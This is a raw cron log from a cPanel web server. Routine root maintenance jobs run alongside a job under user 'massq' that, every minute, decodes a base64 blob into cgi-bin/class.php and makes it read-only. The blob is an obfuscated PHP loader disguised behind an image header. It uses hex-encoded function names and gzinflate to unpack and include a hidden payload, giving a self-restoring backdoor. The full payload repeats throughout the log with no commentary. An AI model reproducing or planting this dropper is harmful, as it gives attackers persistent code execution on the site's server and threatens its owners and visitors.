Sep  6 18:22:01 server CROND[2784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:22:01 server CROND[2785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:23:01 server CROND[3149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:23:01 server CROND[3150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:23:01 server CROND[3151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:24:01 server CROND[3636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:24:01 server CROND[3637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:24:01 server CROND[3638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:25:01 server CROND[4010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:25:01 server CROND[4014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:25:01 server CROND[4012]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 18:25:01 server CROND[4016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:25:01 server CROND[4013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:25:01 server CROND[4018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:25:01 server CROND[4020]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:25:01 server CROND[4015]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:26:01 server CROND[4852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:26:01 server CROND[4854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:26:01 server CROND[4853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:27:01 server CROND[5228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:27:01 server CROND[5229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:27:01 server CROND[5230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:27:01 server CROND[5231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:28:01 server CROND[5611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:28:01 server CROND[5612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:28:01 server CROND[5613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:29:01 server CROND[6095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:29:01 server CROND[6096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:29:01 server CROND[6097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:30:01 server CROND[6471]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:30:01 server CROND[6474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:30:01 server CROND[6473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:30:01 server CROND[6476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:30:01 server CROND[6477]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:30:01 server CROND[6478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:30:01 server CROND[6486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:30:01 server CROND[6490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:31:01 server CROND[7354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:31:01 server CROND[7355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:31:01 server CROND[7356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:32:01 server CROND[7725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:32:01 server CROND[7726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:32:01 server CROND[7727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:33:01 server CROND[8093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:33:01 server CROND[8094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:33:01 server CROND[8095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:34:01 server CROND[8510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:34:01 server CROND[8511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:34:01 server CROND[8514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:35:01 server CROND[8992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:35:01 server CROND[8995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
